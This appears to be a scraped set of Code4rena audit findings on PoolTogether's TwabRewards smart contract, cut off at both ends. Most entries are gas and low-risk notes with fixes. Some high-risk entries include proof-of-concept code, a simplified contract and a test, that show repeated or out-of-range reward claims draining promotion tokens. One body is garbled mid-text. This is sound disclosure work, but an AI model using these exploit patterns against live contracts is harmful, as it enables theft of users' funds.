uint64[](1); _epochEndTimestamps[0] = uint64(_epochEndTimestamp); uint256[] memory _averageTotalSupplies = _ticket.getAverageTotalSuppliesBetween( _epochStartTimestamps, _epochEndTimestamps ); if (_averageTotalSupplies[0] > 0) { return (_promotion.tokensPerEpoch * _averageBalance) / _averageTotalSupplies[0]; } return 0; } ``` Since `_averageBalance` is always bigger than `_averageTotalSupplies[0]`. We can implement the, if statement earlier. This will ensure to output 0 earlier. Furthermore, `_averageBalance` is in stack and this check costs less gas. Therefore, the code can be implemented as follows: ``` uint256 _averageBalance = _ticket.getAverageBalanceBetween( _user, uint64(_epochStartTimestamp), uint64(_epochEndTimestamp) ); if (_averageBalance > 0) { uint64[] memory _epochStartTimestamps = new uint64[](1); _epochStartTimestamps[0] = uint64(_epochStartTimestamp); uint64[] memory _epochEndTimestamps = new uint64[](1); _epochEndTimestamps[0] = uint64(_epochEndTimestamp); uint256[] memory _averageTotalSupplies = _ticket.getAverageTotalSuppliesBetween( _epochStartTimestamps, _epochEndTimestamps ); return (_promotion.tokensPerEpoch * _averageBalance) / _averageTotalSupplies[0]; } return 0; } ``` "}, {"title": "`_nextPromotionId/_latestPromotionId` calculation can be done more efficiently", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "`_nextPromotionId/_latestPromotionId` calculation can be done more efficiently"}, {"title": "event PromotionCancelled should also emit the _to address", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/127", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle hubble # Vulnerability details ## Impact Since there is an option for the promoter to provide an alternate address while issuing cancelPromotion apart from the creator(promoter address) It is good to track the _to address where the remainingRewards are sent on cancelPromotion ## Proof of Concept contract : TwabRewards line 50 : event PromotionCancelled(uint256 indexed promotionId, uint256 amount); function : cancelPromotion(uint256 _promotionId, address _to) line 135 : emit PromotionCancelled(_promotionId, _remainingRewards); ## Tools Used Manual review ## Recommended Mitigation Steps Add the 'to address' in the event, as below line 50 : event PromotionCancelled(uint256 indexed promotionId, address to, uint256 amount); function : cancelPromotion(uint256 _promotionId, address _to) line 135 : emit PromotionCancelled(_promotionId, _to, _remainingRewards); "}, {"title": "extendPromotion function should be access controlled by using onlyPromotionCreator", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/126", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "extendPromotion function should be access controlled by using onlyPromotionCreator"}, {"title": "Unsafe uint64 casting may overflow", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/123", "labels": ["bug", "2 (Med Risk)"], "target": "2021-12-pooltogether-findings", "body": "Unsafe uint64 casting may overflow"}, {"title": "_requirePromotionActive allows actions before the promotion is active", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/115", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "_requirePromotionActive allows actions before the promotion is active"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`getCurrentEpochId()` Malfunction for ended promotions", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/109", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details For ended promotions, `getCurrentEpochId()` may return a `epochId` larger than `numberOfEpochs`. If the result of this view method is to be used as parameters of `claimRewards()`, it may cause `claimRewards()` to fail. https://github.com/pooltogether/v4-periphery/blob/0e94c54774a6fce29daf9cb23353208f80de63eb/contracts/TwabRewards.sol#L276-L279 ```solidity=276 function _getCurrentEpochId(Promotion memory _promotion) internal view returns (uint256) { // elapsedTimestamp / epochDurationTimestamp return (block.timestamp - _promotion.startTimestamp) / _promotion.epochDuration; } ``` ### Recommendation Consider checking if `block.timestamp > _promotionEndTimestamp` in `_getCurrentEpochId()` and return `_promotion.numberOfEpochs - 1` for ended promotions. "}, {"title": "`createPromotion()` Lack of input validation for `_epochDuration` can potentially freeze promotion creator's funds", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/106", "labels": ["bug", "3 (High Risk)"], "target": "2021-12-pooltogether-findings", "body": "`createPromotion()` Lack of input validation for `_epochDuration` can potentially freeze promotion creator's funds"}, {"title": "`cancelPromotion()` Unable to cancel unstarted promotions", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/101", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details For unstarted promotions, `cancelPromotion()` will revert at `block.timestamp - _promotion.startTimestamp` in `_getCurrentEpochId()`. Call stack: `cancelPromotion()` -> `_getRemainingRewards()` -> `_getCurrentEpochId()`. https://github.com/pooltogether/v4-periphery/blob/0e94c54774a6fce29daf9cb23353208f80de63eb/contracts/TwabRewards.sol#L331-L336 ```solidity=331 function _getRemainingRewards(Promotion memory _promotion) internal view returns (uint256) { // _tokensPerEpoch * _numberOfEpochsLeft return _promotion.tokensPerEpoch * (_promotion.numberOfEpochs - _getCurrentEpochId(_promotion)); } ``` https://github.com/pooltogether/v4-periphery/blob/0e94c54774a6fce29daf9cb23353208f80de63eb/contracts/TwabRewards.sol#L276-L279 ```solidity=276 function _getCurrentEpochId(Promotion memory _promotion) internal view returns (uint256) { // elapsedTimestamp / epochDurationTimestamp return (block.timestamp - _promotion.startTimestamp) / _promotion.epochDuration; } ``` ### Recommendation Consider checking if ` _promotion.startTimestamp > block.timestamp` and refund `_promotion.tokensPerEpoch * _promotion.numberOfEpochs` in `cancelPromotion()`. "}, {"title": "Avoid unnecessary dynamic size array `_averageTotalSupplies` can save gas", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/pooltogether/v4-periphery/blob/0e94c54774a6fce29daf9cb23353208f80de63eb/contracts/TwabRewards.sol#L308-L323 ```solidity=308{314,319,320} uint64[] memory _epochStartTimestamps = new uint64[](1); _epochStartTimestamps[0] = uint64(_epochStartTimestamp); uint64[] memory _epochEndTimestamps = new uint64[](1); _epochEndTimestamps[0] = uint64(_epochEndTimestamp); uint256[] memory _averageTotalSupplies = _ticket.getAverageTotalSuppliesBetween( _epochStartTimestamps, _epochEndTimestamps ); if (_averageTotalSupplies[0] > 0) { return (_promotion.tokensPerEpoch * _averageBalance) / _averageTotalSupplies[0]; } return 0; ``` As there is only one time frame, `uint256[] memory _averageTotalSupplies = getAverageTotalSuppliesBetween(...)` can be changed to `uint256 _averageTotalSupply = getAverageTotalSuppliesBetween(...)[0]`, and `_averageTotalSupplies[0]` can be changed to `_averageTotalSupply` for gas saving. "}, {"title": "`_requireTicket()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/pooltogether/v4-periphery/blob/0e94c54774a6fce29daf9cb23353208f80de63eb/contracts/TwabRewards.sol#L230-L244 ```solidity=230{233,237-243} function _requireTicket(address _ticket) internal view { require(_ticket != address(0), \"TwabRewards/ticket-not-zero-address\"); (bool succeeded, bytes memory data) = address(_ticket).staticcall( abi.encodePacked(ITicket(_ticket).controller.selector) ); address controllerAddress; if (data.length > 0) { controllerAddress = abi.decode(data, (address)); } require(succeeded && controllerAddress != address(0), \"TwabRewards/invalid-ticket\"); } ``` ### Recommendation Change to: ```solidity=230{233,237} function _requireTicket(address _ticket) internal view { require(_ticket != address(0), \"TwabRewards/ticket-not-zero-address\"); (bool succeeded, bytes memory data) = _ticket.staticcall( abi.encodePacked(ITicket(_ticket).controller.selector) ); require(succeeded && data.length > 0 && abi.decode(data, (uint160)) != 0, \"TwabRewards/invalid-ticket\"); } ``` - Removing redundant casting of `address(_ticket)` as `_ticket` is `address`; - `controllerAddress` is unnecessary as it's being used only once; - Checking if `succeeded` earlier can avoid unnecessary code execution when this check failed; - Replacing `abi.decode(data, (address)) != address(0)` with `abi.decode(data, (uint160)) != 0` to avoid type casting. "}, {"title": "`getRewardsAmount` might return wrong result", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/80", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle certora # Vulnerability details getRewardsAmount gets epochs ids as uint256[]. However, it should be uint8[]. In _calculateRewardAmount, the epoch start time and end time are calculated: ``` uint256 _epochStartTimestamp = _promotion.startTimestamp + (_epochDuration * _epochId); uint256 _epochEndTimestamp = _epochStartTimestamp + _epochDuration; ``` and then are casted to uint64 for the rest of the function. if it's greater than 2**64, it will be truncated. ## Impact `getRewardsAmount` might return wrong result ## Tools Used manual review ## Recommended Mitigation Steps get _epochIds as uint8[] instead uint256[] "}, {"title": "TwarbRewards: don't use the onlyPromotionCreator modifier to save gas", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact cancelPromotion() and its modifier both call _getPromotion() to get the Promotion struct. We can save one such call by removing the modifier and do the check of the modifier at the beginning of the cancelPromotion() block to save storage reads. ## Proof of Concept https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L119 ## Tools Used ## Recommended Mitigation Steps - remove the modifier onlyPromotionCreator - do the require statement at the beginning of cancelPromotion() function cancelPromotion(uint256 _promotionId, address _to) external override returns (bool) { Promotion memory _promotion = _getPromotion(_promotionId); // do here the modifiers check require( msg.sender == _promotion .creator, \"TwabRewards/only-promotion-creator\" ); _requirePromotionActive(_promotion); require(_to != address(0), \"TwabRewards/recipient-not-zero-address\"); uint256 _remainingRewards = _getRemainingRewards(_promotion); delete _promotions[_promotionId]; _promotion.token.safeTransfer(_to, _remainingRewards); emit PromotionCancelled(_promotionId, _remainingRewards); return true; } "}, {"title": "Dust Token Balances Cannot Be Claimed By An `admin` Account", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/75", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle leastwood # Vulnerability details ## Impact Users who have a small claim on rewards for various promotions, may not feasibly be able to claim these rewards as gas costs could outweigh the sum they receive in return. Hence, it is likely that a dust balance accrues overtime for tokens allocated for various promotions. Additionally, the `_calculateRewardAmount` calculation may result in truncated results, leading to further accrual of a dust balance. Therefore, it is useful that these funds do not go to waste. ## Proof of Concept https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L162-L191 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider allowing an `admin` account to skim a promotion's tokens if it has been inactive for a certain length of time. There are several potential implementations, in varying degrees of complexity. However, the solution should attempt to maximise simplicity while minimising the accrual of dust balances. "}, {"title": "Missing Check When Transferring Tokens Out For A Given Promotion", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "Missing Check When Transferring Tokens Out For A Given Promotion"}, {"title": "Anyone can claim rewards on behalf of someone", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "Anyone can claim rewards on behalf of someone"}, {"title": "uint256 types can be uint64", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `_calculateRewardAmount()` function in TwabRewards.sol uses the uint256 type for the three variables `_epochDuration`, `_epochStartTimestamp`, and `_epochEndTimestamp`. However, there is no need for these variable to be uint256 instead of uint64 because 1. these variables are later cast as uint64 values anyway 2. the block.timestamp value is orders of magnitude less than the uint64 max value. To expand on this second point, if the the block.timestamp values were on the same order of magnitude as the uint64 max value, then the casting of the uint256 timestamp values to uint64 could cause overflow issues because the OpenZeppelin SafeCast library is not used. The timestamp values could even be of type uint32 (Uniswap v3 does this in places, and the max uint32 timestamp equates to the year 2106), but since the ITicket.sol contract imported by TwabRewards.sol uses uint64, it would be better to use uint64 to maintain consistency. ## Proof of Concept The uint256 variables that can be uint64 are found in TwabRewards.sol: https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L294-L296 ## Tools Used Manual analysis ## Recommended Mitigation Steps Make these variables uint64 for gas savings and consistency with Iticket.sol timestamps. Remove unnecessary uint64() casting when all variables in the `_calculateRewardAmount()` function consistently use uint64 types. "}, {"title": "Inconsistent definition of when an epoch ends", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact The implementation of `_getCurrentEpochId` is: ``` function _getCurrentEpochId(Promotion memory _promotion) internal view returns (uint256) { return (block.timestamp - _promotion.startTimestamp) / _promotion.epochDuration; } ``` This means that if exactly `_promotion.epochDuration` seconds have elapsed since the start timestamp, then the current epoch is 1, and the 0th epoch is completed. However, there are the following lines of code in `_calculateRewardAmount`: ``` function _calculateRewardAmount( address _user, Promotion memory _promotion, uint256 _epochId ) internal view returns (uint256) { uint256 _epochDuration = _promotion.epochDuration; uint256 _epochStartTimestamp = _promotion.startTimestamp + (_epochDuration * _epochId); uint256 _epochEndTimestamp = _epochStartTimestamp + _epochDuration; require(block.timestamp > _epochEndTimestamp, \"TwabRewards/epoch-not-over\"); ... } ``` If exactly `_promotion.epochDuration` seconds have elapsed since the start timestamp, then this function will revert since the require has a `>` instead of a `>=`. Thus there are two conflicting definitions of when an epoch ends. In the case of `_getCurrentEpochId`, it is when `_promotion.epochDuration` seconds elapse. In the case of `_calculateRewardAmount`, it is when *more than* `_calculateRewardAmount` seconds elapse. This only makes a difference in one exact second, but it is best to be consistent. ## Proof of Concept See `_getCurrentEpochId` here: https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L276 See `_calculateRewardAmount` here: https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L289 ## Tools Used Inspection ## Recommended Mitigation Steps Change ``` require(block.timestamp > _epochEndTimestamp, \"TwabRewards/epoch-not-over\"); ``` to ``` require(block.timestamp >= _epochEndTimestamp, \"TwabRewards/epoch-not-over\"); ``` in `_calculateRewardAmount`. "}, {"title": "getRewardsAmount doesn't check epochs haven't been claimed", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In ITwabRewards.sol, it is claimed that `getRewardsAmount` should account for epochs that have already been claimed, and not include these epochs in the total amount (indeed, there is a line that says `@dev Will be 0 if user has already claimed rewards for the epoch.`) However, no such check is done in the implementation of `getRewardsAmount`. This means that users will be shown rewardAmounts that are higher than they should be, and users will be confused when they are transferred fewer tokens than they are told they will. This would cause confusion, and people may begin to mistrust the contract since they think they are being transferred fewer tokens than they are owed. ## Proof of Concept See the implementation of `getRewardsAmount` here: https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L209 Notice that there are no checks that the epochs have not already been claimed. Compare this to `claimRewards` which *does* check for epochs that have already been claimed with the following require statement: ``` require(!_isClaimedEpoch(_userClaimedEpochs, _epochId), \"TwabRewards/rewards-already-claimed\"); ``` A similar check should be added `getRewardsAmount` so that previously claimed epochs are not included in the sum. ## Tools Used Inspection ## Recommended Mitigation Steps Add a similar check for previously claimed epochs as described above. "}, {"title": "cancelPromotion() Does Not Send Promotion Tokens Back to the Creator", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-pooltogether-findings", "body": "cancelPromotion() Does Not Send Promotion Tokens Back to the Creator"}, {"title": "Check Zero Address Before Function Call Can Save Gas", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact require(_to != address(0), \"TwabRewards/recipient-not-zero-address\"); Check Zero Address Before Function Call eg. _requirePromotionActive() Can Save Gas. ## Proof of Concept https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L128 ## Tools Used Manual Review ## Recommended Mitigation Steps Move Zero Address Check to Line L125: https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L125 "}, {"title": "Contract does not work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/30", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact There exist ERC20 tokens that charge a fee for every transfer. This kind of token does not work correctly with the `TwabRewards` contract as the rewards calculation for an user is based on `promotion.tokensPerEpoch` (see line [320](https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L320)). However, the actual amount of tokens the contract holds could be less than `promotion.tokensPerEpoch * promotion.numberOfEpochs` leading to not claimable rewards for users claiming later than others. ## Recommended Mitigation Steps To disable fee-on transfer tokens for the contract, add the following code in `createPromotion` around line 11: ``` uint256 oldBalance = _token.balanceOf(address(this)); _token.safeTransferFrom(msg.sender, address(this), _tokensPerEpoch * _numberOfEpochs); uint256 newBalance = _token.balanceOf(address(this)); require(oldBalance + _tokenPerEpoch * _numberOfEpochs == newBalance); ``` "}, {"title": "No sanity checks for user supplied promotion values", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/29", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle kenzo # Vulnerability details User supplied values are not checked and can lead to unexpected behavior (such as division by 0, underflows...) ## Impact I believe the high risk impact has been detailed and mitigated in other findings. However, for cleanliness and preventive measures, I suggest not allowing illogical inputs. ## Proof of Concept There is no validation on the user supplied promotion inputs. [(Code ref)](https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L88:#L116) Therefore for example, a user can supply _numberOfEpochs = 0, _epochDuration = 0, _tokensPerEpoch = 0. This leads to garbage values in the contract. A user can create a promotion without paying any tokens (if _numberOfEpochs or _tokensPerEpoch = 0). These may confuse front ends, or compound to lead to more serious errors. ## Recommended Mitigation Steps Add sanity checks (such as inputs > 0) to `createPromotion` and `extendPromotion`. "}, {"title": "cancelPromotion is too rigorous", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/23", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact When you cancel a promotion with cancelPromotion() then the promotion is complete deleted. This means no-one can claim any rewards anymore, because _promotions[_promotionId] no longer exists. It also means all the unclaimed tokens (of the previous epochs) will stay locked in the contract. ## Proof of Concept https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L119-L138 ```JS function cancelPromotion(uint256 _promotionId, address _to) ... { ... uint256 _remainingRewards = _getRemainingRewards(_promotion); delete _promotions[_promotionId]; ``` ## Tools Used ## Recommended Mitigation Steps In the function cancelPromotion() lower the numberOfEpochs or set a state variable, to allow user to claim their rewards. "}, {"title": "Continue claiming reqrds after numberOfEpochs are over", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/20", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact When claiming rewards via claimRewards(), the function _calculateRewardAmount() is called. The function _calculateRewardAmount() has a check to make sure the epoch is over ```JS require(block.timestamp > _epochEndTimestamp, \"TwabRewards/epoch-not-over\"); ``` However neither functions check if the _epochId is within the range of the reward epochs. Ergo it is possible to continue claiming rewards after the reward period is over. This only works as long as there are enough tokens in the contract. But this is the case when not everyone has claimed, or other rewards use the same token. The proof of concept contains a simplified version of the contract, and shows how this can be done. When run in remix you get the following output, while there is only 1 epoch. console.log: \u2003Claiming for epoch 1 1 \u2003Claiming for epoch 2 1 \u2003Claiming for epoch 3 1 \u2003Claiming for epoch 4 1 \u2003Claiming for epoch 5 1 ## Proof of Concept ```JS // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.6; import \"hardhat/console.sol\"; contract TwabRewards { struct Promotion { uint216 tokensPerEpoch; uint32 startTimestamp; uint32 epochDuration; uint8 numberOfEpochs; } mapping(uint256 => Promotion) internal _promotions; uint256 internal _latestPromotionId; mapping(uint256 => mapping(address => uint256)) internal _claimedEpochs; constructor() { uint id=createPromotion(1,uint32(block.timestamp)-10,1,1); claimRewards(id,1); claimRewards(id,2); claimRewards(id,3); claimRewards(id,4); claimRewards(id,5); } function createPromotion(uint216 _tokensPerEpoch,uint32 _startTimestamp,uint32 _epochDuration,uint8 _numberOfEpochs) public returns (uint256) { uint256 _nextPromotionId = _latestPromotionId + 1; _latestPromotionId = _nextPromotionId; _promotions[_nextPromotionId] = Promotion(_tokensPerEpoch,_startTimestamp,_epochDuration,_numberOfEpochs); return _nextPromotionId; } function claimRewards( uint256 _promotionId, uint256 _epochId ) public returns (uint256) { Promotion memory _promotion = _getPromotion(_promotionId); address _user=address(0); uint256 _rewardsAmount; uint256 _userClaimedEpochs = _claimedEpochs[_promotionId][_user]; for (uint256 index = 0; index < 1; index++) { require( !_isClaimedEpoch(_userClaimedEpochs, _epochId), \"TwabRewards/rewards-already-claimed\" ); _rewardsAmount += _calculateRewardAmount(_promotion, _epochId); _userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId); } _claimedEpochs[_promotionId][_user] = _userClaimedEpochs; console.log(\"Claiming for epoch\",_epochId,_rewardsAmount); return _rewardsAmount; } function getPromotion(uint256 _promotionId) public view returns (Promotion memory) { return _getPromotion(_promotionId); } function _getPromotion(uint256 _promotionId) internal view returns (Promotion memory) { return _promotions[_promotionId]; } function _isClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId) internal pure returns (bool) { return (_userClaimedEpochs >> _epochId) & uint256(1) == 1; } function _calculateRewardAmount( Promotion memory _promotion, uint256 _epochId ) internal view returns (uint256) { uint256 _epochDuration = _promotion.epochDuration; uint256 _epochStartTimestamp = _promotion.startTimestamp + (_epochDuration * _epochId); uint256 _epochEndTimestamp = _epochStartTimestamp + _epochDuration; require(block.timestamp > _epochEndTimestamp, \"TwabRewards/epoch-not-over\"); return 1; } function _updateClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId) internal pure returns (uint256) { return _userClaimedEpochs | (uint256(1) << _epochId); } function _getCurrentEpochId(Promotion memory _promotion) internal view returns (uint256) { return (block.timestamp - _promotion.startTimestamp) / _promotion.epochDuration; } function _getRemainingRewards(Promotion memory _promotion) internal view returns (uint256) { // _tokensPerEpoch * _numberOfEpochsLeft return _promotion.tokensPerEpoch * (_promotion.numberOfEpochs - _getCurrentEpochId(_promotion)); } } ``` ## Tools Used ## Recommended Mitigation Steps In the function _calculateRewardAmount() add something like the following in the beginning after the require. if ( _epochId >= _promotion.numberOfEpochs) return 0; "}, {"title": "simplify require in _requirePromotionActive()", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _requirePromotionActive() contains the following check in a require statement: ```JS _promotionEndTimestamp > 0 && _promotionEndTimestamp >= block.timestamp, ``` When _promotionEndTimestamp is larger than block.timestamp it will also be larger than 0. Thus the statement can be simplified to save some gas. ## Proof of Concept https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L250-L258 ```JS function _requirePromotionActive(Promotion memory _promotion) internal view { ... require( _promotionEndTimestamp > 0 && _promotionEndTimestamp >= block.timestamp, \"TwabRewards/promotion-not-active\" ); } ``` ## Tools Used ## Recommended Mitigation Steps Change the require statement to: require( _promotionEndTimestamp >= block.timestamp, \"TwabRewards/promotion-not-active\" ); // will certainly be > 0 "}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-pooltogether-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Caching array length can save gas", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle robee # Vulnerability details Caching the array length is more gas efficient. This is because access to a local variable in solidity is more efficient than query storage / calldata / memory We recommend to change from: for (uint256 i=0; i block.timestamp so this promotion gets created 3. User cannot claim this promotion if they were not having promotion tokens in the 1 year old promotion period. This means promotion amount remains with contract 4. Even promotion creator cannot claim back his tokens since promotion end date has already passed so cancelPromotion will fail 5. As there is no recovery token function in contract so even contract cant transfer this token and the tokens will remain in this contract with no one able to claim those ## Recommended Mitigation Steps Add below check in the createPromotion function ``` function createPromotion( address _ticket, IERC20 _token, uint216 _tokensPerEpoch, uint32 _startTimestamp, uint32 _epochDuration, uint8 _numberOfEpochs ) external override returns (uint256) { require(_startTimestamp>block.timestamp,\"should be after current time\"); } ``` "}, {"title": "Rewards can be claimed multiple times", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/3", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle johnnycash # Vulnerability details ## Impact An attacker can claim its reward 256 * `epochDuration` seconds after the timestamp at which the promotion started. The vulnerability allows him to claim a reward several times to retrieve all the tokens associated to the promotion. ## Analysis `claimRewards()` claim rewards for a given promotion and epoch. In order to prevent a user from claiming a reward multiple times, the mapping [_claimedEpochs](https://github.com/pooltogether/v4-periphery/blob/ceadb25844f95f19f33cb856222e461ed8edf005/contracts/TwabRewards.sol#L32) keeps track of claimed rewards per user: ``` /// @notice Keeps track of claimed rewards per user. /// @dev _claimedEpochs[promotionId][user] => claimedEpochs /// @dev We pack epochs claimed by a user into a uint256. So we can't store more than 255 epochs. mapping(uint256 => mapping(address => uint256)) internal _claimedEpochs; ``` (The comment is wrong, epochs are packed into a uint256 which allows **256** epochs to be stored). `_epochIds` is an array of `uint256`. For each `_epochId` in this array, `claimRewards()` checks that the reward associated to this `_epochId` isn't already claimed thanks to `_isClaimedEpoch()`. [_isClaimedEpoch()](https://github.com/pooltogether/v4-periphery/blob/ceadb25844f95f19f33cb856222e461ed8edf005/contracts/TwabRewards.sol#L371) checks that the bit `_epochId` of `_claimedEpochs` is unset: ``` (_userClaimedEpochs >> _epochId) & uint256(1) == 1; ``` However, if `_epochId` is greater than 255, `_isClaimedEpoch()` always returns false. It allows an attacker to claim a reward several times. [_calculateRewardAmount()](https://github.com/pooltogether/v4-periphery/blob/ceadb25844f95f19f33cb856222e461ed8edf005/contracts/TwabRewards.sol#L289) just makes use of `_epochId` to tell whether the promotion is over. ## Proof of Concept The following test should result in a reverted transaction, however the transaction succeeds. ``` it('should fail to claim rewards if one or more epochs have already been claimed', async () => { const promotionId = 1; const wallet2Amount = toWei('750'); const wallet3Amount = toWei('250'); await ticket.mint(wallet2.address, wallet2Amount); await ticket.mint(wallet3.address, wallet3Amount); await createPromotion(ticket.address); await increaseTime(epochDuration * 257); await expect( twabRewards.claimRewards(wallet2.address, promotionId, ['256', '256']), ).to.be.revertedWith('TwabRewards/rewards-already-claimed'); }); ``` ## Tools Used Text editor. ## Recommended Mitigation Steps A possible fix could be to change the type of `_epochId` to `uint8` in: - `_calculateRewardAmount()` - `_updateClaimedEpoch()` - `_isClaimedEpoch()` and change the type of `_epochIds` to `uint8[]` in `claimRewards()`. "}, {"title": "_getPromotion() doesn't revert on invalid _promotionId", "html_url": "https://github.com/code-423n4/2021-12-pooltogether-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-pooltogether-findings", "body": "# Handle johnnycash # Vulnerability details ## Impact `_getPromotion()` doesn't revert if the specified `_promotionId` doesn't exist. It can lead to unexpected behaviors in callers of this function. For instance, [claimRewards](https://github.com/pooltogether/v4-periphery/blob/ceadb25844f95f19f33cb856222e461ed8edf005/contracts/TwabRewards.sol#L162) will continue its execution and call 